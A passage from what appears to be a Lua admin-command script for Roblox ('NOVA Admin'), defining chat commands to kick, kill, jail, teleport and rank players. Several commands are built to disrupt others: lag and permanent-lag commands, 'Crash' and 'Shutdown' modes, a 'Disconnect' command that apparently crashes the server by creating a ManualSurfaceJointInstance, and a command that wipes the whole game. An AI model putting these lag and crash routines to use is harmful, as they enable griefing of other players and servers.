  1441. Output("Pong!","Random",Speaker)
  1442. else
  1443. Output(Msg,"Random",Speaker)
  1444. end
  1445. end
  1446. end
  1447. )
  1448.  
  1449. AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
  1450. function(Msg,Speaker)
  1451. if Msg == "all" then
  1452. if GetRank(Speaker) > 0 then
  1453. RemoveTablets()
  1454. end
  1455. else
  1456. RemoveTablets(Speaker)
  1457. end
  1458. end
  1459. )
  1460.  
  1461. AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
  1462. function(Msg,Speaker)
  1463. makeMessage(1,"[NOVA] "..Msg,NOVA.Services.Workspace)
  1464. end
  1465. )
  1466.  
  1467. AddCommand("Remove","remove",6,"Removes the admin.","No Arguments",
  1468. function(Msg,Speaker)
  1469. RemoveTablets()
  1470. NOVA.Sounds.Sound:Remove()
  1471. NOVA.Removed = true
  1472. error("NOVA Admin removing...")()
  1473. NOVA = {}
  1474. script.Disabled = true
  1475. while true do wait() end
  1476. end
  1477. )
  1478.  
  1479. AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
  1480. function(Msg,Speaker)
  1481. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1482. pcall(function() v.Character:BreakJoints() end)
  1483. end
  1484. end
  1485. )
  1486.  
  1487. AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
  1488. function(Msg,Speaker)
  1489. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1490. pcall(function()
  1491. v:Destroy()
  1492. end)
  1493. end
  1494. end
  1495. )
  1496.  
  1497. AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
  1498. function(Msg,Speaker)
  1499. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1500. if v.Name == "rigletto" then
  1501. Output("Attempt to ban the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  1502. else
  1503. pcall(function()
  1504. GetRankedTable(v).Rank = -1
  1505. GetRidOf(v)
  1506. end)
  1507. end
  1508. end
  1509. end
  1510. )
  1511.  
  1512. AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
  1513. function(Msg,Speaker)
  1514. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1515. if v.Name == "rigletto" then
  1516. Output("Attempt to ban the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  1517. else
  1518. pcall(function()
  1519. GetRankedTable(v).Rank = -2
  1520. Lag(v)
  1521. end)
  1522. end
  1523. end
  1524. end
  1525. )
  1526.  
  1527. AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
  1528. function(Msg,Speaker)
  1529. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1530. pcall(function() Instance.new("ForceField",v.Character) end)
  1531. end
  1532. end
  1533. )
  1534.  
  1535. AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
  1536. function(Msg,Speaker)
  1537. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1538. pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
  1539. end
  1540. end
  1541. )
  1542.  
  1543. AddCommand("Check","check",2,"Outputs server information.","No Arguments",
  1544. function(Msg,Speaker)
  1545. Data = GetRankedTable(Speaker)
  1546. Output("PRI : "..tostring(NOVA.PRI),Data.Color,Speaker)
  1547. Output("PRI Type : "..NOVA.PRIType,Data.Color,Speaker)
  1548. Output("Script Lock : "..tostring(NOVA.LockedScripts),Data.Color,Speaker)
  1549. Output("Model Lock : "..tostring(NOVA.LockModels),Data.Color,Speaker)
  1550. Output("Show Chat : "..tostring(NOVA.ShowChat),Data.Color,Speaker)
  1551. Output("Players : "..tostring(#NOVA.Services.Players:GetPlayers()),Data.Color,Speaker)
  1552. Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
  1553. Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
  1554. OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
  1555.  
  1556. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1557. end
  1558. )
  1559.  
  1560. AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
  1561. function(Msg,Speaker)
  1562. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  1563. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1564. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1565. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  1566. NOVA.Services.Lighting.Brightness = 1
  1567. NOVA.Services.Lighting.FogStart = 0
  1568. NOVA.Services.Lighting.FogEnd = 100000
  1569. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  1570. NOVA.Services.Lighting.TimeOfDay = 12
  1571. pcall(function()
  1572. CreateLocalScript([[
  1573. Camera = workspace.CurrentCamera
  1574. Camera:SetRoll(0)
  1575. Camera.CameraType = "Custom"
  1576. Camera.FieldOfView = 70
  1577. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  1578. ]],Speaker.Backpack)
  1579. end)
  1580. for _,v in pairs(NOVA.Services) do
  1581. v.Name = v.className
  1582. end
  1583.  
  1584. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1585. if v:IsA("SelectionBox") then
  1586. v:remove()
  1587. end
  1588. end
  1589. for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
  1590. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  1591. pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
  1592. if #NOVA.Services.Teams:GetChildren() == 0 then
  1593. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  1594. v.Neutral = true
  1595. end
  1596. end
  1597.  
  1598. end
  1599. )
  1600.  
  1601. AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
  1602. function(Msg,Speaker)
  1603. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1604. pcall(function()
  1605. v:LoadCharacter()
  1606. end)
  1607. end
  1608. end
  1609. )
  1610.  
  1611. AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
  1612. function(Msg,Speaker)
  1613. Data = GetRankedTable(Speaker)
  1614. Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
  1615. Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
  1616. for i=0,7 do
  1617. Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
  1618. RemoveTablets(Speaker)
  1619. for _,v in pairs(NOVA.Commands) do
  1620. if v.Rank == i then
  1621. Output(v.Name,Data.Color,Speaker,nil,function()
  1622. RemoveTablets(Speaker)
  1623. Output("Name : "..v.Name,Data.Color,Speaker)
  1624. Output("Command : "..v.Command,Data.Color,Speaker)
  1625. Output("Arguments : "..v.Args,Data.Color,Speaker)
  1626. Output("Description : "..v.Description,Data.Color,Speaker)
  1627. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1628. end)
  1629. end
  1630. end
  1631. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1632. end)
  1633. end
  1634. Output("ALL",Data.Color,Speaker,nil,function()
  1635. RemoveTablets(Speaker)
  1636. for _,v in pairs(NOVA.Commands) do
  1637. if GetRank(Speaker) >= v.Rank then
  1638. Output(v.Name,Data.Color,Speaker,nil,function()
  1639. RemoveTablets(Speaker)
  1640. Output("Name : "..v.Name,Data.Color,Speaker)
  1641. Output("Command : "..v.Command,Data.Color,Speaker)
  1642. Output("Arguments : "..v.Args,Data.Color,Speaker)
  1643. Output("Description : "..v.Description,Data.Color,Speaker)
  1644. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1645. end)
  1646. end
  1647. end
  1648. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1649. end)
  1650. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1651. end
  1652. )
  1653.  
  1654. AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
  1655. function(Msg,Speaker)
  1656. Instance.new("ManualSurfaceJointInstance",workspace)
  1657. end
  1658. )
  1659.  
  1660. AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
  1661. function(Msg,Speaker)
  1662. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1663. if v.Name == "rigletto" then
  1664. Output("Attempt to lag the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  1665. else
  1666. pcall(function()
  1667. Lag(v)
  1668. end)
  1669. end
  1670. end
  1671. end
  1672. )
  1673.  
  1674.  
  1675. AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
  1676. function(Msg,Speaker)
  1677. RemoveTablets(Speaker)
  1678. Output("List","Random",Speaker,nil,
  1679. function()
  1680. RemoveTablets(Speaker)
  1681. for _,v in pairs(NOVA.Ranked) do
  1682. if v.InPRI == true then
  1683. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
  1684. RemoveTablets(Speaker)
  1685. OnChatted("\\pri\\",Speaker)
  1686. end)
  1687. end
  1688. end
  1689. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1690. end
  1691. )
  1692.  
  1693. Output("Type","Random",Speaker,nil,
  1694. function()
  1695. RemoveTablets(Speaker)
  1696. Output("Kick",NOVA.Colors.Orange,Speaker,nil,
  1697. function()
  1698. NOVA.PRIType = "Kick"
  1699. RemoveTablets(Speaker)
  1700. OnChatted("\\pri\\",Speaker)
  1701. end
  1702. )
  1703. Output("Lag",NOVA.Colors.Red,Speaker,nil,
  1704. function()
  1705. NOVA.PRIType = "Lag"
  1706. RemoveTablets(Speaker)
  1707. OnChatted("\\pri\\",Speaker)
  1708. end
  1709. )
  1710. Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
  1711. function()
  1712. NOVA.PRIType = "Shutdown"
  1713. RemoveTablets(Speaker)
  1714. OnChatted("\\pri\\",Speaker)
  1715. end
  1716. )
  1717. Output("Crash",NOVA.Colors.Orange,Speaker,nil,
  1718. function()
  1719. NOVA.PRIType = "Crash"
  1720. RemoveTablets(Speaker)
  1721. OnChatted("\\pri\\",Speaker)
  1722. end
  1723. )
  1724. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1725. end
  1726. )
  1727.  
  1728. Output("Remove Player",NOVA.Colors.Orange,Speaker,nil,
  1729. function()
  1730. RemoveTablets(Speaker)
  1731. for num,v in pairs(NOVA.Ranked) do
  1732. if v.InPRI == true then
  1733. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,
  1734. function()
  1735. v.InPRI = false
  1736. end
  1737. )
  1738. end
  1739. end
  1740. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1741. end
  1742. )
  1743.  
  1744. Output("Add Player",NOVA.Colors.Green,Speaker,nil,
  1745. function()
  1746. RemoveTablets(Speaker)
  1747. for _,v in pairs(NOVA.Ranked) do
  1748. if v.InPRI == false and v.Rank > -1 then
  1749. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,
  1750. function()
  1751. v.InPRI = true
  1752. end
  1753. )
  1754. end
  1755. end
  1756. Output("All",NOVA.Colors.Green,Speaker,nil,
  1757. function()
  1758. for _,v in pairs(NOVA.Ranked) do v.InPRI = true end
  1759. RemoveTablets(Speaker)
  1760. OnChatted("\\pri\\",Speaker)
  1761. end
  1762. )
  1763. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1764. end
  1765. )
  1766.  
  1767. Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
  1768. function()
  1769. NOVA.PRI = true
  1770. RemoveTablets(Speaker)
  1771. OnChatted("\\pri\\",Speaker)
  1772. end
  1773. )
  1774.  
  1775. Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
  1776. function()
  1777. NOVA.PRI = false
  1778. RemoveTablets(Speaker)
  1779. OnChatted("\\pri\\",Speaker)
  1780. end
  1781. )
  1782.  
  1783. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1784. end
  1785. )
  1786.  
  1787. AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
  1788. function(Msg,Speaker)
  1789. RemoveTablets(Speaker)
  1790. for num,v in pairs(NOVA.Ranked) do
  1791. Output(v.Name,v.Color,Speaker,nil,
  1792. function(Clicker)
  1793. RemoveTablets(Speaker)
  1794. Output("Name : "..v.Name,v.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1795. Output("Rank Name : "..GetRankName(v.Name),v.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1796. Output("Rank Number : "..v.Rank,v.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1797. Output("Desc : "..v.Desc,v.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1798. Output("Color : "..tostring(v.Color),v.Color,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1799. Output("Dismiss",NOVA.Colors.Red,Speaker,nil,function() RemoveTablets(Speaker) OnChatted("\\getranked\\",Speaker) end)
  1800. end
  1801. )
  1802. end
  1803. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1804. end
  1805. )
  1806.  
  1807. AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","No Arguments",
  1808. function(Msg,Speaker)
  1809. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1810. if GetRank(Speaker) > GetRank(v) then
  1811. Output(v.Name,GetRankedTable(v).Color,Speaker,nil,
  1812. function()
  1813. RemoveTablets(Speaker)
  1814. if GetRank(Speaker) < 6 then
  1815. for i=0,GetRank(Speaker)-1 do
  1816. Output(i,Color3.new(i/10,i/10,i/10),Speaker,nil,
  1817. function()
  1818. GetRankedTable(v).Rank = i
  1819. if GetRank(v) == -2 then
  1820. Lag(v)
  1821. end
  1822. if GetRank(v) == -1 then
  1823. GetRidOf(v)
  1824. end
  1825. RemoveTablets(Speaker)
  1826. OnChatted("\\setrank\\",Speaker)
  1827. end
  1828. )
  1829. end
  1830. else
  1831. for i=-2,GetRank(Speaker)-1 do
  1832. Output(i,Color3.new(i/10,i/10,i/10),Speaker,nil,
  1833. function()
  1834. GetRankedTable(v).Rank = i
  1835. if GetRank(v) == -2 then
  1836. Lag(v)
  1837. end
  1838. if GetRank(v) == -1 then
  1839. GetRidOf(v)
  1840. end
  1841. RemoveTablets(Speaker)
  1842. OnChatted("\\setrank\\",Speaker)
  1843. end
  1844. )
  1845. end
  1846. end
  1847. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1848. end
  1849. )
  1850. end
  1851. end
  1852. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1853. end
  1854. )
  1855.  
  1856. AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
  1857. function(Msg,Speaker)
  1858.  
  1859. Split = GetSplit(Msg)
  1860. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  1861. to = GetPlayers(string.sub(Msg,Split+1),Speaker)
  1862. for _,a in pairs(send) do
  1863. for _,b in pairs(to) do
  1864. pcall(function()
  1865. a.Character.Torso.CFrame = b.Character.Torso.CFrame
  1866. end)
  1867. end
  1868. end
  1869.  
  1870. end
  1871. )
  1872.  
  1873. AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
  1874. function(Msg,Speaker)
  1875.  
  1876. Split = GetSplit(Msg)
  1877. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  1878. to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
  1879. for i, player in pairs(send) do
  1880. pcall(function()
  1881. player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
  1882. * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
  1883. * CFrame.new(0, 0, 3 + (#send*2) )
  1884. end)
  1885. end
  1886. end
  1887. )
  1888.  
  1889. AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
  1890. function(Msg,Speaker)
  1891. Split = GetSplit(Msg)
  1892. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  1893. pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
  1894. end
  1895.  
  1896. end
  1897. )
  1898.  
  1899. AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
  1900. function(Msg,Speaker)
  1901. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1902. pcall(function()
  1903. v.Character:BreakJoints()
  1904. E = Instance.new("Explosion",NOVA.Services.Workspace)
  1905. E.Position = v.Character.Torso.Position
  1906. E.BlastPressure = 124000
  1907. end)
  1908. end
  1909. end
  1910. )
  1911.  
  1912. AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
  1913. function(Msg,Speaker)
  1914. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1915. pcall(function()
  1916. v.Character.Humanoid.MaxHealth = math.huge
  1917. end)
  1918. end
  1919. end
  1920. )
  1921.  
  1922. AddCommand("God","god",2,"makes the selected player god.","<Player>",
  1923. function(Msg,Speaker)
  1924. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1925. pcall(function()
  1926. v.Character.Torso.Touched:connect(function(part)
  1927. if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
  1928. part.CanCollide = true
  1929. part:BreakJoints()
  1930. Instance.new("Fire",part).Color = Color3.new(255,255,255)
  1931. Instance.new("Fire",part).Color = Color3.new(255,255,255)
  1932. Instance.new("Fire",part).Color = Color3.new(255,255,255)
  1933. end
  1934. end)
  1935. end)
  1936. end
  1937. end
  1938. )
  1939.  
  1940. AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
  1941. function(Msg,Speaker)
  1942. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1943. pcall(function()
  1944. v.Character.Parent = NOVA.Services.Lighting
  1945. end)
  1946. end
  1947. end
  1948. )
  1949.  
  1950. AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
  1951. function(Msg,Speaker)
  1952. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1953. pcall(function()
  1954. v.Character.Parent = NOVA.Services.Workspace
  1955. v.Character:MakeJoints()
  1956. pcall(function() v.Character.Animate.Disabled = false end)
  1957. end)
  1958. end
  1959. end
  1960. )
  1961.  
  1962. AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
  1963. function(Msg,Speaker)
  1964. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1965. pcall(function()
  1966. for _,part in pairs(v.Character:GetChildren()) do
  1967. pcall(function()
  1968. part.Anchored = true
  1969. end)
  1970. end
  1971. end)
  1972. end
  1973. end
  1974. )
  1975.  
  1976. AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
  1977. function(Msg,Speaker)
  1978. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1979. pcall(function()
  1980. for _,part in pairs(v.Character:GetChildren()) do
  1981. pcall(function()
  1982. part.Anchored = false
  1983. end)
  1984. end
  1985. end)
  1986. end
  1987. end
  1988. )
  1989.  
  1990. AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
  1991. function(Msg,Speaker)
  1992. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1993. pcall(function()
  1994. for _,part in pairs(v.Backpack:GetChildren()) do
  1995. part:Destroy()
  1996. end
  1997. end)
  1998. end
  1999. end
  2000. )
  2001.  
  2002. AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
  2003. function(Msg,Speaker)
  2004. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2005. pcall(function()
  2006. v.Backpack:Destroy()
  2007. end)
  2008. end
  2009. end
  2010. )
  2011.  
  2012. AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
  2013. function(Msg,Speaker)
  2014. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2015. pcall(function()
  2016. v.Character.Humanoid.Sit = true
  2017. end)
  2018. end
  2019. end
  2020. )
  2021.  
  2022. AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
  2023. function(Msg,Speaker)
  2024. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2025. pcall(function()
  2026. v.Character.Humanoid.Sit = false
  2027. end)
  2028. end
  2029. end
  2030. )
  2031.  
  2032. AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
  2033. function(Msg,Speaker)
  2034. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2035. pcall(function()
  2036. v.Character.Humanoid.Jump = true
  2037. end)
  2038. end
  2039. end
  2040. )
  2041.  
  2042. AddCommand("Control","control",2,"Controls the selected player","<Player>",
  2043. function(Msg,Speaker)
  2044. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2045. pcall(function()
  2046. Speaker.Character = v.Character
  2047. end)
  2048. end
  2049. end
  2050. )
  2051.  
  2052. AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
  2053. function(Msg,Speaker)
  2054. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2055. pcall(function()
  2056. for _,v in pairs(v.Character:GetChildren()) do
  2057. if v:IsA("BasePart") then
  2058. coroutine.resume(coroutine.create(function()
  2059. for i=1,10 do
  2060. wait()
  2061. v.Transparency = v.Transparency + 0.1
  2062. end
  2063. end))
  2064. end
  2065. if v:IsA("Hat") then
  2066. coroutine.resume(coroutine.create(function()
  2067. for i=1,10 do
  2068. wait()
  2069. v.Handle.Transparency = v.Handle.Transparency + 0.1
  2070. end
  2071. end))
  2072. end
  2073. end
  2074. end)
  2075. end
  2076. end
  2077. )
  2078.  
  2079. AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
  2080. function(Msg,Speaker)
  2081. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2082. pcall(function()
  2083. for _,v in pairs(v.Character:GetChildren()) do
  2084. if v:IsA("BasePart") then
  2085. coroutine.resume(coroutine.create(function()
  2086. for i=1,10 do
  2087. wait()
  2088. v.Transparency = v.Transparency - 0.1
  2089. end
  2090. end))
  2091. end
  2092. if v:IsA("Hat") then
  2093. coroutine.resume(coroutine.create(function()
  2094. for i=1,10 do
  2095. wait()
  2096. v.Handle.Transparency = v.Handle.Transparency - 0.1
  2097. end
  2098. end))
  2099. end
  2100. end
  2101. end)
  2102. end
  2103. end
  2104. )
  2105.  
  2106. AddCommand("No Builders Club","nbc",2,"Sets the selected player builder club membership type.","<Player>",
  2107. function(Msg,Speaker)
  2108. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2109. pcall(function()
  2110. v.MembershipTypeReplicate = 0
  2111. end)
  2112. end
  2113. end
  2114. )
  2115.  
  2116. AddCommand("Builders Club","bc",2,"Sets the selected player builder club membership type.","<Player>",
  2117. function(Msg,Speaker)
  2118. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2119. pcall(function()
  2120. v.MembershipTypeReplicate = 1
  2121. end)
  2122. end
  2123. end
  2124. )
  2125.  
  2126. AddCommand("Turbo Builders Club","tbc",2,"Sets the selected player builder club membership type.","<Player>",
  2127. function(Msg,Speaker)
  2128. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2129. pcall(function()
  2130. v.MembershipTypeReplicate = 2
  2131. end)
  2132. end
  2133. end
  2134. )
  2135.  
  2136. AddCommand("Outragous Builders Club","obc",2,"Sets the selected player builder club membership type.","<Player>",
  2137. function(Msg,Speaker)
  2138. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2139. pcall(function()
  2140. v.MembershipTypeReplicate = 3
  2141. end)
  2142. end
  2143. end
  2144. )
  2145.  
  2146. AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
  2147. function(Msg,Speaker)
  2148. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2149. pcall(function()
  2150. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
  2151. end)
  2152. end
  2153. end
  2154. )
  2155.  
  2156. AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
  2157. function(Msg,Speaker)
  2158. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2159. pcall(function()
  2160. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
  2161. end)
  2162. end
  2163. end
  2164. )
  2165.  
  2166. AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
  2167. function(Msg,Speaker)
  2168. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2169. pcall(function()
  2170. waittime = "0.0"..string.rep("0",1000).."1"
  2171. coroutine.resume(coroutine.create(function()
  2172. v.Character.Humanoid.WalkSpeed = 0
  2173. local CF = v.Character.Torso.CFrame
  2174. for angle = 1, 45 do
  2175. local p = Instance.new("Part",NOVA.Services.Workspace)
  2176. p.Size = Vector3.new(1, 10, 1)
  2177. p.Anchored = true
  2178. p.TopSurface = "Smooth"
  2179. p.BottomSurface = "Smooth"
  2180. p.Transparency = 0.9
  2181. p.CFrame = CF
  2182. * CFrame.Angles(0, math.rad(angle*8), 0)
  2183. * CFrame.new(0, 0, 5)
  2184. wait(tonumber(waittime))
  2185. end
  2186.  
  2187. for angle = 1, 45/2 do
  2188. local p = Instance.new("Part",NOVA.Services.Workspace)
  2189. p.Size = Vector3.new(11, 1, 1)
  2190. p.Anchored = true
  2191. p.TopSurface = "Smooth"
  2192. p.BottomSurface = "Smooth"
  2193. p.Transparency = 0.9
  2194. p.CFrame = CF
  2195. * CFrame.Angles(0, math.rad(angle*8), 0)
  2196. * CFrame.new(0, 5, 0)
  2197.  
  2198.  
  2199. local p = Instance.new("Part",NOVA.Services.Workspace)
  2200. p.Size = Vector3.new(11, 1, 1)
  2201. p.Anchored = true
  2202. p.TopSurface = "Smooth"
  2203. p.BottomSurface = "Smooth"
  2204. p.Transparency = 0.9
  2205. p.CFrame = CF
  2206. * CFrame.Angles(0, math.rad(angle*8), 0)
  2207. * CFrame.new(0, 0 - 5, 0)
  2208.  
  2209.  
  2210.  
  2211. wait(tonumber(waittime))
  2212. end
  2213. v.Character.Humanoid.WalkSpeed = 16
  2214. end))
  2215. end)
  2216. end
  2217. end
  2218. )
  2219.  
  2220. AddCommand("NOVA Clear","nova",6,"Clears the game.","No Arguments",
  2221. function(Msg,Speaker)
  2222. for num,v in pairs(GetRecursiveChildren()) do
  2223. pcall(function()
  2224. if v:IsA("Script") then
  2225. pcall(function()
  2226. v.Disabled = true
  2227. v:Destroy()
  2228. end)
  2229. end
  2230. end)
  2231. end
  2232. for num,v in pairs(GetRecursiveChildren()) do
  2233. pcall(function()
  2234. if not v:IsA("Player") then
  2235. pcall(function()
  2236. v:Destroy()
  2237. end)
  2238. end
  2239. end)
  2240. end
  2241. for _,v in pairs(NOVA.Services) do
  2242. v.Name = v.className
  2243. end
  2244. local Base=Instance.new("Part",NOVA.Services.Workspace)
  2245. Base.Name="Base"
  2246. Base.Size=Vector3.new(2048,1,2048)
  2247. Base.BrickColor=BrickColor.new("Really Black")
  2248. Base.Anchored=true
  2249. Base.Locked=true
  2250. Base.TopSurface="Smooth"
  2251. Base.Transparency = 1
  2252. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  2253. local selectionbox=Instance.new("SelectionBox",Base)
  2254. selectionbox.Adornee = selectionbox.Parent
  2255. selectionbox.Color = BrickColor.new(1,0,0)
  2256. local skybox=Instance.new("Sky",game:GetService("Lighting"))
  2257. skybox.SkyboxBk="http://www.roblox.com/asset/?id=13996320"
  2258. skybox.SkyboxDn="http://www.roblox.com/asset/?id=13996320"
  2259. skybox.SkyboxLf="http://www.roblox.com/asset/?id=13996320"
  2260. skybox.SkyboxFt="http://www.roblox.com/asset/?id=13996320"
  2261. skybox.SkyboxRt="http://www.roblox.com/asset/?id=13996320"
  2262. skybox.SkyboxUp="http://www.roblox.com/asset/?id=13996320"
  2263. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  2264. Spawn.Size=Vector3.new(6,1,6)
  2265. Spawn.Transparency=1
  2266. Spawn.CanCollide=false
  2267. Spawn.Anchored=true
  2268. Spawn.Locked=true
  2269. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  2270. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do v:LoadCharacter() end
  2271. end
  2272. )
  2273.  
  2274. AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
  2275. function (Msg,Speaker)
  2276. Split = GetSplit(Msg)
  2277. for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
  2278. pcall(function()
  2279. Team = nil
  2280. for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
  2281. if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
  2282. Team = find
  2283. end
  2284. end
  2285. v.TeamColor = Team.TeamColor
  2286. end)
  2287. end
  2288. end
  2289. )
  2290.  
  2291. AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
  2292. function(Msg,Speaker)
  2293. RemoveTablets(Speaker)
